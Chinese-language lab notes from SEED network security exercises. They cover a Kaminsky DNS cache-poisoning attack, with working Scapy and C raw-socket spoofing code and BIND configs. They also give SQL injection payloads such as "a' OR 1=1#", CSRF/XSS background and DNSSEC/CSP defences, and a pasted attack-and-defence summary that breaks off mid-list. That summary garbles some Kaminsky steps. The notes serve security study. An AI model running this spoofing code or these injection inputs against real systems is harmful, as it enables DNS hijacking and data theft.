步骤: 1、服务端清缓存 2、wireshark清空 3、攻击机运行脚本 4、用户机dig 伪造ns授权服务器 可以看到attack32.com已经被当作权威域名

Warning

这部分书上是通过修改服务端配置文件的方式来做实验的,那首先得攻陷服务器。这里的方法不用攻陷服务器只是伪造脚本实现, 更高明一点。

 

 

 

 

 

远程DNS缓存中毒攻击

本地DNS缓存中毒攻击有一定的局限性,必须在同一个局域网中。而远程攻击嗅探不到DNS请求。 DNS请求中有两个数据远程攻击者很难获得: 1、UDP头部的源端口号 DNS请求通过UDP数据包发送,源端口号是16比特的随机数字

2、DNS头部16比特的交易ID

Note

一个欺骗回复必须包含这两个值,否则回复不会被接受。远程攻击者只能猜测这两个值,猜到 的概率为2的32次方,如果1秒内发1000个请求,则需要50天。如果用1000个主机的僵尸网络 发起攻击,则需要1.2小时

而实际由于缓存的因素,DNS服务器不会对同一主机发起第二次请求,除非缓存内的结果过期。缓存的这个特点 使得攻击在尝试第二次攻击前需要等待,这使得远程DNS中毒攻击变得不现实。

Kaminsky攻击

为了对远程计算机发动欺骗攻击,需要完成三个任务: 1、触发目标服务器发送DNS请求 2、发送欺骗回复 3、使缓存失效 前两个任务很简单,难度比较大的是第三个,这一直是一个悬而未解的问题,直到Dan Kaminsky提出了一个巧妙的解决 方案,通过他的方案,攻击者可以持续地发起欺骗攻击,而不需要等待。

他的思路不是让缓存失效,而是去修改域名服务器的上一级权威域名服务器。用一个随机的二级域名向远程DNS服务器发请求, 在上一级权威域名服务器回复消息前,伪造消息给远程域名服务器,带上NS记录,如果猜错则继续用随机二级域名重试。

准备攻击环境

实验的目的是让ns.attacker32.com作为example.com的权威域名服务器 步骤: 0、配置用户机head文件和配置DNS服务器options和第二节一样 1、DNS服务器删除example.com这个区域 2、DNS服务器设置一个forward区域 由于没有真正拥有attacker32.com这个域名,但是修改配置也可以达到效果

vi /etc/bind/named.conf
zone "attacker32.com" {
  type forward;
  forwarders {
       192.168.230.156;
  };
};

3、配置攻击机

vi /etc/bind/named.conf
zone "attacker32.com" {
  type master;
  file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
  type master;
  file "/etc/bind/example.com.zone";
};

example.com.zone如下:

$TTL 3D
@       IN     SOA   ns.example.com. admin.example.com. (
              2008111001
              8H
              2H
              4W
              1D)

@       IN     NS   ns.attacker32.com.

@       IN     A     1.2.3.4
www     IN     A     1.2.3.5
ns     IN     A     192.168.230.156
*       IN     A     1.2.3.4

attacker32.com.zone如下:

$TTL 3D
@       IN     SOA   ns.attacker32.com. admin.attacker32.com. (
              2008111001
              8H
              2H
              4W
              1D)

@       IN     NS   ns.attacker32.com.

@       IN     A     192.168.230.156
www     IN     A     192.168.230.156
ns     IN     A     192.168.230.156
*       IN     A     192.168.230.156

重启BIND生效

sudo service bind9 restart

4、在用户机测试 dig测试 可以看到这个地址是由攻击机指定的

指定权威域名服务器查询,会得到攻击机的地址 dig地址 这是通过修改配置文件的方式实现了远程DNS中毒攻击

攻击方式实现

实现目标是,当用户访问www.example.com时,重定向到一个恶意的www.example.com

完整的DNS查询过程如下: 正常过程

example.com名称服务器被缓存情况下的DNS查询过程: 缓存情况 以上这个图,ns.dnslabattacker.net改为ns.attacker32.com

缓存情况下的攻击比较复杂,要拆分成几个阶段 由于这个实验对回复包的速度有很高要求,python的scapy速度慢成功几率为0,而用c来构造发送和响应包程序复杂, 故更好的方案是用scapy来生成包,由c来发送包

实现构造DNS请求

这个请求是从攻击者发往DNS服务器的

from scapy.all import *

target_name="xxxxx.example.com"    

ip  = IP(dst='192.168.230.154',src='192.168.230.156')
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns

with open('query.bin','wb')as f:
   f.write(bytes(Querypkt))

由于请求中xxxxx的名字需要改,我们要知道这个名字在二进制文件中的地址,用bless可以看到在0x29,10进制为41 query中名字地址

伪造DNS回复包

from scapy.all import *

targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attacker32.com"

dstIP="192.168.230.154"
srcIP='192.168.230.156'                                    

ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)

Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns   = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns

with open('reply.bin','wb') as f:
   f.write(bytes(Replypkt))

reply中地址 同理,找到响应包中transaction ID为0xAAAA的地址为28, 两个二级域名的地址分别为41、64

c语言攻击代码

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>

#define MAX_FILE_SIZE 2000


/* IP Header */
struct ipheader {
 unsigned char      iph_ihl:4, //IP header length
                    iph_ver:4; //IP version
 unsigned char      iph_tos; //Type of service
 unsigned short int iph_len; //IP Packet length (data + header)
 unsigned short int iph_ident; //Identification
 unsigned short int iph_flag:3, //Fragmentation flags
                    iph_offset:13; //Flags offset
 unsigned char      iph_ttl; //Time to Live
 unsigned char      iph_protocol; //Protocol type
 unsigned short int iph_chksum; //IP datagram checksum
 struct  in_addr    iph_sourceip; //Source IP address
 struct  in_addr    iph_destip;   //Destination IP address
};

void send_raw_packet(char * buffer, int pkt_size);


int main()
{
 long i = 0;

 srand(time(NULL));

 // Load the DNS request packet from file
 FILE * f_req = fopen("query.bin", "rb");
 if (!f_req) {
    perror("Can't open 'query.bin'");
    exit(1);
}
 unsigned char ip_req[MAX_FILE_SIZE];
 int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

 // Load the first DNS response packet from file
 FILE * f_resp = fopen("reply.bin", "rb");
 if (!f_resp) {
    perror("Can't open 'reply.bin'");
    exit(1);
}
 unsigned char ip_resp[MAX_FILE_SIZE];
 int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

 char a[26]="abcdefghijklmnopqrstuvwxyz";
 unsigned short transaction_id = 0;
 while (1) {
   // 构造长度为5的二级域名
   char name[5];
   for (int k=0; k<5; k++)  name[k] = a[rand() % 26];
   name[5] = '\0';
   printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n",
        ++i, name, transaction_id);

   // 修改二级域名,发送dns请求
   memcpy(ip_req+41,name,5);              
   send_raw_packet(ip_req, n_req);

   // 回复给dns的包,其中有两处域名修改
   memcpy(ip_resp+41,name,5);              
   memcpy(ip_resp+64,name,5);

   for(int i=0;i<100;i++)
  {
       transaction_id++;

       // 修改序列号,重新发伪造包
       memcpy(ip_resp+28,&transaction_id,2);
       send_raw_packet(ip_resp,n_resp);
  }
}
 return 0;
}

void send_raw_packet(char * buffer, int pkt_size)
{
 struct sockaddr_in dest_info;
 int enable = 1;

 int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
 setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
        &enable, sizeof(enable));

 struct ipheader *ip = (struct ipheader *) buffer;        
 dest_info.sin_family = AF_INET;
 dest_info.sin_addr = ip->iph_destip;

 sendto(sock, buffer, pkt_size, 0,
      (struct sockaddr *)&dest_info, sizeof(dest_info));
 close(sock);
}

准备测试脚本

在DNS服务器准备测试脚本

#!/bin/bash

echo 'dump the cache'
sudo rndc dumpdb -cache                                  
cat /var/cache/bind/dump.db | grep attack
echo 'if there is no result,the attack has not succeed yet'

测试

这个实验开始部分只需两台虚拟机(DNS服务器和攻击机),最后服务器这边查询到已被缓存后,再启动用户机去dig

1、在攻击机运行攻击程序

sudo ./attack

运行攻击程序

2、过10秒在服务器运行检测缓存 服务器缓存检查

经常会用的命令

sudo rndc flush
sudo service bind9 restart

Warning

配置实验正确后,必须非常严格地先清空服务端缓存、再发起攻击、再check、再用户机查询 一直check不到结果,用户机查配置实验,如已坏则攻击失败,必须服务器和攻击机两虚拟机重启再试 攻击的时间不可超过1分钟,否则服务器会不可用,无法重启

实验经验

被攻击的DNS服务器不会使用回复中提供的IP地址,而是会发出一个新的请求亲自查询ns.attacker32.com的真实ip地址, 攻击者必须真正拥有attacker32.com这个域名才有机会回应这个请求,并提供他们选择的IP地址

Next Previous

预防DNS缓存中毒攻击

DNS的根本问题是无法对应答的真实性进行检查,DNS协议不提供对回复真伪的验证机制。

DNSSEC

为了在协议层面提供认证机制,域名系统安全扩展(DNSSEC)应运而生。DNSSEC是DNS的一系列扩展,目标是为DNS数据 提供认证和完整性检查。

DNSSEC在3个RFC中定义:RFC 4033,RFC 4034,RFC 4035。 有了DNSSEC,DNS回复会被进行数字签名,通过检查数字签名,DNS解析器能够判断返回的信息是否可信。

DNSSEC的主要功能是在回复消息中添加三种记录:RRSIG、DNSKEY和DS。

Dnssec验证核心例子

当从example.net域名服务器得到回复时,该服务器的公钥的哈希值已经被.net服务器提供

DNSSEC最早部署于2007年,用于国家顶级域名。2010年,第一次在root层级部署,到2015年,许多顶级域名均支持DNSSEC。 然而要让所有权威域名服务器都支持DNSSEC还有很多路要走。

TLS/SSL解决方案

在DNSSEC被广泛接受前,传输层安全协议(TLS/SSL)提供了一种解决方案,概况说就是得到域名IP地址后,计算机会 询问这个IP地址的所有者,让它提供对域名所有权的证明。

证明的方法是让服务器提供被证书授权中心签名的公钥证书,服务器还须表明它知道相应的私钥。这个证明协议是TLS协议 的一部分,经常被称为TLS/SSL,因为它的前身是SSL。

Note

这个解决方案,简单说,就是使用HTTPS协议。https协议是建立在TLS/SSL协议之上的。有了https,即使受到 DNS缓存中毒攻击,伪造的服务器仍需要提供正确的证书。

对比

DNSSEC和TLS/SSL协议都建立在公钥技术之上。但是它们的信任链不同。 DNSSEC用DNS区域层次结构提供信任链,父区域的域名服务器为子区域的域名服务器做担保。 TLS/SSL协议依赖公钥基础设施(PKI)

对DNS服务器的拒绝服务攻击

对root和TLD服务器的攻击

攻击不容易成功,原因有三: 1、缓存因素 TLD域名服务器一般在缓存中保留48小时。一旦获得顶级域名服务器ip地址,接下来再请求就不是从root服务器开始了。

2、根域名服务器数量多且高度分散 3、同一个根域名服务器部署在不同大洲的多个地点 通过IP anycast技术实现请求时,其中一个服务器就会接受并回复。这项技术使用边界网关协议(BGP)。在多个不同地点 同时广播同一个目标IP地址,BGP路由器会从中选择一个来实现路由目的。

对特定域的域名服务器的攻击

二级域名的权威域名服务器更容易攻击

Next Previous

 

 

 

深入解析Kaminsky攻击

结合您提供的 www.example.com 的 DNS 查询例子,我们来详细了解 Kaminsky 攻击的步骤以及它高明之处:

攻击步骤:

  1. 攻击者选择一个目标域名,例如 www.example.com 攻击者需要确保本地 DNS 服务器没有缓存该域名的解析结果。

  2. 攻击者向本地 DNS 服务器发送大量针对随机生成的域名的 DNS 查询请求。 这些随机域名通常以攻击者控制的域名作为后缀,例如 random1.attacker.com, random2.attacker.com 等等。

  3. 本地 DNS 服务器收到这些查询请求后,会向攻击者控制的域名服务器发送解析请求。

  4. 攻击者控制的域名服务器返回伪造的 DNS 回复。 这些回复中包含指向恶意服务器的 NS 记录,并将该记录的 TTL 设置为一个较大的值。 同时,攻击者需要预测本地 DNS 服务器的源端口号和事务 ID,以使伪造的回复能够被本地 DNS 服务器接受。

  5. 本地 DNS 服务器接收伪造的回复,并将恶意信息缓存起来。 由于攻击者每次查询的域名都是随机生成的,因此本地 DNS 服务器不会缓存这些域名的解析结果。 但是,攻击者在回复中包含了指向恶意服务器的 NS 记录,并且该记录的 TTL 设置为一个较大的值,因此本地 DNS 服务器会缓存该记录。

  6. 当用户访问目标域名 www.example.com 时,本地 DNS 服务器会首先检查自己的缓存。 由于攻击者已经通过之前的攻击将指向恶意服务器的 NS 记录注入到本地 DNS 服务器的缓存中,因此本地 DNS 服务器会将用户引导到攻击者控制的恶意服务器。

高明之处:

  • 绕过缓存效应: Kaminsky 攻击通过每次询问不同的问题(随机域名)来绕过缓存效应,使得本地 DNS 服务器无法有效地缓存攻击者的回复。 这就保证了攻击者可以持续地向本地 DNS 服务器注入恶意信息,而不用担心缓存的影响。

  • 放大攻击效果: 攻击者只需要发送少量的 DNS 查询请求,就可以污染大量的本地 DNS 服务器。 这是因为攻击者伪造的 DNS 回复中包含指向恶意服务器的 NS 记录,而该记录会被本地 DNS 服务器缓存并用于解析其他域名。

资料中关于Kaminsky攻击的描述:

  • 提到了 Kaminsky 攻击的目标是伪造 DNS 回复,并且需要克服缓存效应的挑战。

  • 描述了 Kaminsky 攻击的步骤,包括发送大量针对随机生成的域名的 DNS 查询请求,以及伪造包含指向恶意服务器的 NS 记录的 DNS 回复。

  • 解释了攻击者如何通过设置较大的 TTL 值来放大攻击效果。

总结:

Kaminsky 攻击是一种非常巧妙的 DNS 缓存中毒攻击,它利用了 DNS 协议的漏洞,可以对互联网造成重大影响。 因此,了解 Kaminsky 攻击的原理和防御方法非常重要。

 

 

 

 

 

 

虚拟专用网络基本概念

私有网络的三个特性: 1、用户认证 2、内容保护 3、完整性保护 如果不需要把计算机放在一个内部网络内也能实现这些特性,那么内网和外网就不那么重要了。如果能创建一个既包含内网又包含外网 的私有网络,就称这个网络为虚拟专用网络。虚拟专用网络是为了能在公共基础设施之上提供企业的私有网络服务而提出的。

虚拟专用网络的工作原理

VPN的另一个重要特性是透明性,透明性最佳实现方式是通过IP层。故实现VPN就变成如何安全地在虚拟专用网络内的主机 A和B之间发送IP数据包。 难点在于IP数据包的所有部分都要被加密保护,然而加密的IP数据包是不能经由因特网传输的, 因为路由器不能读取加密数据包的头部,也无法修改数据包的头部(路由器需要修改存活时间和校验和) 一种解决方法是把受保护的IP数据包作为载荷放入一个新的IP数据包中,这个新的数据包头是不加密的。它的任务是从A到B 传输受保护的原始IP数据包,一旦到达A或B,新数据包头被丢弃。这个技术叫做IP隧道(IPSec tunneling)

有多种方法可实现IP隧道,最具代表性的两种方法是IPSec隧道和TLS/SSL隧道。IPSec隧道使用了互联网络层安全协议(IPSec) IPSec有一个模式叫做隧道模式,在这个模式下,整个原始IP数据包被封装在一个新的IP数据包内,并且添加一个新的头部, 这是在IP层完成的。这种方法已经被用来实现VPN。

另一种实现隧道的方法是不在内核实现,而在应用内部实现。它的做法是把每个属于VPN的IP数据包传递给特定的应用程序, 这个应用程序把数据包放入TCP或者UDP包(一个新的数据包)内,然后把新数据包发送给应用程序在隧道另一端的对接程序, 对接程序将原始数据包从TCP或者UDP包的载荷中提取出来,并发送到私有网络内。 为了保护数据包的安全,隧道的两端使用TLS/SSL通信,因此这个技术被称为TLS/SSL隧道,也被称为传输层隧道。这个隧道 更加流行,是因为它在应用程序中实现,而不是在内核中实现。应用层面实现更容易,更容易更新。

vpn原理

TLS/SSL VPN原理概述

建立虚拟线路需要两台计算机,一台VPN客户端,一台VPN服务器 VPN客户端和服务器的主要任务如下: 1、建立一条安全的隧道 2、转发由隧道一端到另一端的IP数据包 3、在隧道另一端接收到IP数据包后,把数据包发送到私有网络内,这样数据包可以到达最终的目的地

建立一个TLS/SSL隧道

需要互相认证,验证通常通过公钥证书来实现,TLS/SSL信道中的数据是加密的,因此是安全的信道

转发IP数据包

例如,10.0.7.0/24作为客户端的子网,10.0.8.0/24作为服务端的子网,这两子网可以不属于同一个网络,无论网络 配置多么复杂,只需设置好路由器,让两个子网的流量都先发往vpn服务器。 vpn收到客户端数据包后,要通过专用安全信道发送给服务器,但是系统如何把数据包传递给运行在用户空间的应用程序是 一个问题 有两个原因让隧道应用程序难以得到这个数据包,一是操作系统不会把数据包交给它自己的应用程序,二是即使vpn客户端 决定在网络协议栈中把数据包交给它自己的应用程序,但只有数据部分会被传递给应用程序,IP头和传输层头都会被丢弃。 而基于IPSec的vpn则不会有这个问题,因为隧道是在内核内部的。

Tuntap技术

解决上述问题的一个设想是假定隧道应用程序是一台计算机(而不是一个应用程序),这台计算机与VPN客户端通过 网络接口连接,然后设置vpn客户端内部的路由表,让所有去往10.0.8.0/24的数据包都被路由到这台计算机,因为 隧道应用程序是通过路由器得到数据包的,因此它能得到完整的数据包,包括IP头部。 TUN/TAP技术就是这样一个技术,使一个应用程序成为一台虚拟机,并通过虚拟网络接口连接到vpn客户端。

传递IP数据包

新数据包通过信道到达VPN服务器,VPN服务器的网络协议栈会剥掉新头部,把载荷(即加密的IP数据包)交给隧道应用程序。 在解密原始IP数据包并且验证它的完整性后,隧道应用程序需要把它交给内核,内核再把这个数据包路由给终点V。 这里的一个问题是应用程序如何把IP数据包传递给系统内核呢,答案是用TUN/TAP技术

Next Previous

 

 

 

 

 

 

 

TLS/SSL VPN原理细节

这节的重点是信道应用程序如何从系统中得到IP数据包

虚拟网络接口

Linux和许多操作系统都支持两种网络接口:物理网络接口和虚拟网络接口。 物理网络接口通过硬件网卡把计算机连到网络。 虚拟网络接口对应一个用软件实现的虚拟网卡。

虚拟网络接口例子

loopback接口,任何发送到该接口的流量都会返回给内核,实现数据包来自网络的效果。 TUN/TAP接口。

TUN接口作用在网络协议栈的IP层或者OSI的第三层(网络层),把数据包发送到TUN接口会使得数据包(包括IP头部)被 传递到用户空间的程序。 TAP接口作用在OSI的第二层(数据链路层),它的作用就像一个物理网络适配器。被广泛用于创建网桥。

物理网络接口与虚拟网络接口的区别如下: 物理网络接口与虚拟网络接口的区别

建立TUN接口

TUN就是在内核和用户程序之间的代理

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>

int createTunDevice()
{
  int tunfd;
  struct ifreq ifr;
  memset(&ifr, 0, sizeof(ifr));

  ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
  tunfd = open("/dev/net/tun", O_RDWR);
  ioctl(tunfd, TUNSETIFF, &ifr);      

  return tunfd;
}

int main () {
  int tunfd = createTunDevice();
  printf("TUN file descriptor: %d \n", tunfd);

  // We can interact with the device using this file descriptor.
  // In our experiement, we will do the interaction from a shell.
  // Therefore, we launch the bash shell here.
  char *argv[2];
  argv[0] = "/bin/bash"; argv[1] = NULL;
  execve("/bin/bash", argv, NULL);

  return 0;
}

程序解读: 为了使用TUN/TAP,程序需要打开/dev/net/tun设备,并且调用对应的ioctl()函数在内核中注册一个网络设备。 这个网络设备会以tunNN(NN代表一个数字),或tapNN的形式呈现,取决于所选的标志是什么

Note

要创建一个网络设备,一个进程需要有root或者CAP_NET_ADMIN权限

创建tun ifconfig -a可以用来查看TUN设备是否创建成功。不加-a只会列举已被激活的接口

激活tun 使用虚拟网络接口前需要先进行配置,首先需要指定接口要连接的网络并配置IP地址,然后激活接口。 这个过程用一条命令实现,上面第一条命令把这个网络接口连接到10.0.8.0/24网络,并给这个接口 分配IP地址10.0.8.99,执行完后,可以通过ifconfig看到了

Note

注意这个接口是暂时的,程序结束后就被销毁,也可以创建永久性的TUN设备。

将数据包路由到TUN接口

数据包在隧道中流程如下图: 数据包在隧道中流程 由图左边部分可知,IP数据包由私有网络内的2和3产生,需要让它们流向VPN隧道应用程序所在的计算机,则需要配置 一个路由表

配置路由 上述命令把所有目标地址是10.0.8.0/24的数据包发送到tun0接口

TUN接口的读操作和写操作

从TUN接口读数据,来做一个实验,向10.0.8.32发送ping包,这个Ip数据包属于子网10.0.8.0/24,因此它 会被发给tun0接口

1、读取tun0接口的文件描述符

xxd <& 3

2、发送ping包

ping 10.0.8.32

3、从tun0接口可以读取到ping包 读取Ping包 45通常是许多IPv4数据包的开始字节,可以看到这个数据从0a 00 08 63发往0a 00 08 20,即从 10.0.8.99发往10.0.8.32。 <& 3是把标准输出重定向到文件描述符3

向TUN接口写数据,因为系统内核会从这个接口接收数据包,所以需要写入合法的数据包到该接口内,否则系统会报错。

1、准备输入文件 hexfile

2、转换成16进制文件

xxd -r hexfile > packetfile

3、写入tun接口

cat packetfile >& 3

Warning

vim -b hexfile,以二进制方式打开 :%!xxd 转化为16进制显示 这个实验没有写入成功,写入时报参数错误

 

 

 

跨站请求伪造背景 CSRF背景

Note

跨站请求伪造(CSRF)是一种恶意攻击,当普通用户访问恶意网页时,该网页可以代替用户向目标网站发送伪造的请求。

网站通常依靠cookie来判断一个来自客户端的请求是否可信

漏洞产生

浏览器会给伪造的请求附加所有目标网站的cookies,当目标网站收到这个请求时,如果它没有任何策略来识别这个伪造的请求, 那么它将会处理该请求,导致安全漏洞。

Clip_2024-11-07_11-41-26

防御措施

web服务器不知道一个请求是否是跨站请求,浏览器知道请求是哪个页面产生的,知道是否跨站请求,但是浏览器没有把这个信息 传给服务器,改变这一点,就能抵御CSRF攻击。

使用refer头

refer头用来记录请求是从哪个网页发出的。但是它会泄露使用者的浏览历史,产生隐私泄露问题。一些浏览器为了保护隐私会删除 该字段。故使用这个头字段作为防护策略可能会误把很多合法请求当成跨站请求。

同站cookie

Chrome、Firefox和Opera使用一个特殊属性SameSite属性,告诉浏览器一个cookie是否可以被跨站请求使用。 值为Strict,则不会跨站请求使用,Lax时,cookie只有在顶级导航的跨站请求时才一起发送。

秘密令牌

主要是在同站cookie支持之前使用。秘密令牌只能被自己的页面取得,其他网站页面得不到。实现方法有两种: 1、每个网页内嵌入一个随机的机密值。 2、机密值放在cookie中。 这两个方法都是依赖浏览器同源策略实现的。

浏览器的同源策略

浏览器执行一个脚本的时候会检查这个脚本是属于哪个页面的 同源策略是浏览器的行为,是为了保护本地数据不被JavaScript代码获取回来的数据污染,因此拦截的是客户端发出的请求回来的数据接收, 即请求发送了,服务器响应了,但是无法被浏览器接收。

Elgg的防护措施

Elgg使用秘密令牌来抵御CSRF攻击。Elgg在所有页面都内嵌了两个机密值: elgg_ts和elgg_token。

实现思路

用一个模块(ActionsService.php)管理两个值,添加到了每个网页中。请求时带上这两个值, 在后端重新算一遍token,处理每个请求之前都会先验证token。

打开安全防护:

vi /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionsService.php

打开防护

这时再来验证之前添加好友那个攻击,登陆charlie账户,再来访问恶意网站 防护后访问恶意网站

目标网站会提示错误,无法将好友Samy加入,防御成功 防护成功

 

跨站脚本攻击 XSS

csrf攻击是要受害者访问恶意网站攻击才能得逞。而跨站脚本攻击(XSS)是攻击者必须找到将自己的恶意代码经由 目标网站注入目标用户浏览器的方法。 将代码注入目标浏览器有两种方法:1、反射型XSS。2、存储型XSS。

Clip_2024-11-07_11-49-27

反射型XSS攻击

许多网站都有反射行为,就是从用户那边接收输入,执行一些操作,之后向用户发送响应网页,用户的输入也被包含在响应中。 比如搜索xyz,最后显示xyz找不到。

攻击者可以在输入中混入JavaScript代码,这样当输入被反射回浏览器时,JavaScript代码将被注入该网站的网页中。

Warning

承载代码的输入必须从目标用户的计算机发出。

存储型XSS攻击

攻击者把数据发给目标网站,网站对数据进行持久性存储,之后,如果网站将存储数据发送给其他用户,那么就在 攻击者和其他用户之间创建了一条通道。

典型的应用比如社交网站的主页,用户评论等。

XSS能造成的破坏

1、污染网页。比如新闻改成假新闻。 2、欺骗请求。偷偷发添加好友请求。 3、窃取信息。包括cookie、网页中显示的个人数据、被网络应用程序存储在本地的数据。

抵御XSS攻击

XSS漏洞的根本原因是HTML允许JavaScript中的代码和数据混编。 有两种方法可以防御XSS攻击: 1、过滤数据中的代码,或把代码转成数据 2、强制开发者把代码和数据分开,然后对代码部分添加约束条件

去除代码

有两种方法: 1、过滤掉数据中的代码 2、通过编码把代码转换成数据

过滤方法

由于JavaScript代码混在数据中的方法很多,使用script标签不是唯一注入方法,有开源库可以使用jsoup,不建议自己开发。

编码方法

攻击的代码被服务器编码,浏览器看到后,再还原显示

Elgg的防范策略

elgg综合使用了上面两种,用HTMLawed的PHP模块过滤,用htmlspecialchars的PHP函数来编码,只是实验中关闭了。

用内容安全策略来抵御XSS攻击

网页中放入js代码两种方式

嵌入式:代码直接在网页中。 引入式:把代码放在另外一个文件或url中,包含进网页

嵌入式代码是导致XSS漏洞的罪魁祸首。xss攻击者虽然也可以用引入式方法在数据中加入代码,但无法将代码 放在被网站信任的地方。 告诉浏览器哪些来源是可以信任的是通过一个叫做内容安全策略的机制实现的(CSP content security policy)。 通过CSP,网站可以通过在回复的头部加入一些CSP规则,告诉浏览器不要运行页面中嵌入的任何JavaScript代码, 所有代码都必须从网站单独下载。

比如如下CSP规则:

Content-Security-Policy: script-src 'self'

不仅禁止了所有嵌入式代码,还规定只有来自和该网页同一网站的代码才可以被执行(这是self的意义)。在这个规则下, 引入js必须这样写:

<script src="myscript.js"></script>

但有时需要运行从其他可以信任的网站下载的代码,CSP允许提供一个白名单,如:

Content-Security-Policy: script-src 'self' example.com 
https://apis.google.com

*安全地使用嵌入式代码* 如果开发者确想用嵌入式的方法把代码放到网页中,CSP也提供了一种安全的做法,就是要求在CSP规则中指明哪些嵌入代码是 可信的。有两种: 1、把可信代码的单项哈希值放在CSP规则中 2、用nonce,在CSP规则中设置一些可信任的nonce

Content-Security-Policy: script-src 'nonce-34fo3er92d'
<script nonce="34fo3er92d">...</script>

sql注入背景

这部分书上没有关于实验环境的描述,要看Seed Lab资料 seed自带虚拟机已经安装好了mysql服务,root密码是seedubuntu

Mysql的三种注释

select * from employee; # Comment select * from employee; -- Comment select * from / Comment / employee;

虚拟机提供的服务过程经过抽象相当于填如下SQL语句模板:

select Name, Salary, SSN from employee where eid='   ' and password = '    ';

如果eid输入了EID5002'#, 那么sql语句等同于:

select Name, Salary, SSN from employee where eid='EID5002';

如果不知道任何一个eid,输入a' OR 1=1#,就可以获取所有记录, sql语句等同于:

select Name, Salary, SSN from employee where eid='a' or 1=1;

常见网络协议存在的安全漏洞、攻击手段以及防御手段

根据您提供的资料,以下是一些常见网络协议存在的安全漏洞、攻击手段以及详细的防御手段:

1. 链路层安全问题

  • 混杂模式嗅探 (Promiscuous Mode Sniffing):

    • 安全漏洞: 网卡在混杂模式下可以捕获网络上的所有数据帧,即使数据帧的目的地址不是该网卡。

    • 攻击手段: 攻击者可以利用嗅探工具 (例如 Wireshark) 捕获网络上的所有数据帧,从而获取敏感信息,例如用户名、密码、信用卡信息等。

    • 防御手段:

      • 加密通信: 使用加密协议 (例如 HTTPS, SSH) 对敏感数据进行加密,即使数据帧被捕获,攻击者也无法获取明文信息。

      • 网络分段: 将网络划分为多个子网,限制广播域,减少攻击者嗅探到的数据量。

      • 入侵检测系统: 部署入侵检测系统 (IDS) 监测网络流量,识别并报警可疑的嗅探行为。

  • 数据包伪造 (Packet Spoofing):

    • 安全漏洞: 攻击者可以伪造数据包的源地址、目标地址或其他关键信息。

    • 攻击手段:

      • ARP 欺骗攻击: 攻击者伪造 ARP 数据包,使目标主机将攻击者的 MAC 地址与网关的 IP 地址关联起来,从而拦截目标主机与网关之间的通信。

      • ICMP 拒绝服务攻击: 攻击者发送大量伪造源 IP 地址的 ICMP 数据包,使目标服务器无法处理合法请求。

    • 防御手段:

      • 静态 ARP 绑定: 将主机与网关的 IP 地址和 MAC 地址静态绑定,防止 ARP 欺骗攻击。

      • 使用网络安全工具: 使用 Scapy 等网络安全工具检测和防御数据包伪造攻击。

      • 使用入侵检测和防御系统: 部署入侵检测系统 (IDS) 和入侵防御系统 (IPS) 监测网络流量,识别并拦截伪造的数据包。

2. 网络层安全问题

  • IP 欺骗 (IP Spoofing):

    • 安全漏洞: 攻击者可以伪造 IP 数据包的源 IP 地址。

    • 攻击手段: 攻击者可以使用 IP 欺骗技术进行拒绝服务攻击、会话劫持等攻击。

    • 防御手段:

      • 入口过滤: 在网络边界路由器上配置入口过滤规则,丢弃来自外部网络的伪造源 IP 地址的数据包。

      • 出口过滤: 在网络边界路由器上配置出口过滤规则,丢弃来自内部网络的伪造源 IP 地址的数据包。

      • 使用入侵检测和防御系统: 部署入侵检测系统 (IDS) 和入侵防御系统 (IPS) 监测网络流量,识别并拦截伪造的 IP 数据包。

  • 防火墙绕过 (Firewall Evasion):

    • 安全漏洞: 攻击者可以利用防火墙的漏洞或配置错误绕过安全策略。

    • 攻击手段:

      • 使用 SSH 隧道技术: 将流量封装在加密的 SSH 连接中,从而绕过防火墙的过滤规则。

      • 使用 VPN: 使用 VPN 建立加密隧道,将流量隐藏在 VPN 隧道中,从而绕过防火墙的过滤规则。

    • 防御手段:

      • 及时更新防火墙规则: 定期更新防火墙规则,修复已知的漏洞和配置错误。

      • 使用深度包检测技术: 使用深度包检测 (DPI) 技术检查数据包的负载内容,识别并拦截试图绕过防火墙的流量。

      • 部署应用层防火墙: 部署应用层防火墙 (WAF) 对应用层流量进行过滤,防止攻击者利用应用层漏洞绕过防火墙。

3. 传输层安全问题

  • TCP SYN 洪泛攻击 (SYN Flooding Attack):

    • 安全漏洞: 利用 TCP 三次握手的机制,攻击者发送大量伪造的 TCP SYN 数据包,使服务器的连接队列被占满。

    • 攻击手段: 攻击者发送大量伪造源 IP 地址的 TCP SYN 数据包,使目标服务器无法处理合法用户的连接请求,造成拒绝服务。

    • 防御手段:

      • SYN Cookies: 服务器使用 SYN Cookies 技术,不保存半开连接的状态信息,而是将状态信息编码到 SYN-ACK 数据包的序列号中,只有当客户端回复 ACK 数据包且序列号正确时,服务器才会建立连接。

      • 防火墙过滤: 防火墙可以配置规则,限制来自单个 IP 地址的 SYN 数据包的数量,防止 SYN 洪泛攻击。

      • 入侵检测和防御系统: 部署入侵检测系统 (IDS) 和入侵防御系统 (IPS) 监测网络流量,识别并拦截 SYN 洪泛攻击。

  • TCP 重置攻击 (TCP Reset Attack):

